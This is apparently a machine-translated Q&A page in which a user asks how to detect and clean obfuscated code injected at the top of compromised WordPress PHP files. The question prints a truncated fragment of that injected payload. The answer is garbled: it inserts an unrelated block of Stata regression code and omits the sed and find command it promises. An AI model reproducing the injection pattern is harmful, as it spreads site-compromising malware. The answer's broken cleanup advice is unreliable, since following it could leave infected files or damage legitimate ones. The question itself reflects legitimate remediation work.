识别受损的PHP文件

时间:2016-10-29 01:10:42

标签: php shell unix

我正在尝试清理之前已被入侵的Word Press .php文件,可能是通过MySQL代码注入。

这些文件的开头如下:

<?php$kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x2fvr#  x5cq%7**^#zsfvr#        x5!>>   x22!pd%)!gj}Z;h!opjudovg}{;#)W%c!>!%i   x5c2^<!Ce*[!ode(array_map("opfyigg",str_split("%tjw!>!#]y84]275]y83]248]y83]254ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2jm6<     x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**1!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!     x<*)ujojR       x27id%6<        x7fw6*  x7f_*#ujoj;%-qp%)54l}   x27;%!<*#}_;#)323ldfid>}&;!osvufs}

其中一些在开始标记后面有一个空格,如:

<?php $kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)

我可以搜索并替换所有打开的<?php代码,但会破坏一些合法的文件。

这种PHP代码有什么独特之处,所以首先可以识别,然后修复吗?我不确定如何描述这段代码......

1 个答案:

答案 0 :(得分:2)

在php开始标记之后,我一般都没有看到任何代码的PHP文件。如果是这种情况,您的问题陈述将简化为替换

sysuse auto, clear
plogit foreign weight mpg, lasso lambda(2)

/* A. With Predict */
predict double phat, xb
replace phat = invlogit(phat)

/* B. By Hand */
/* (1) get a list of coefficients */
local coefs: colnames e(b) 

/* (2) Build the index function expression */
foreach x of local coefs {
    if "`x'" !=  "_cons" {
        local index "`index' `=_b[`x']'*`x' +"
    }
    else {
        local index "`index' `=_b[`x']'"
    }
}

/* (3) predict phat */
gen double phat2 = invlogit(`index')

<?php.*$

你可以使用sed命令命令和find这样的

<?php

您可能需要备份文件并使用grep进行一些研究,然后继续使用sed替换inplace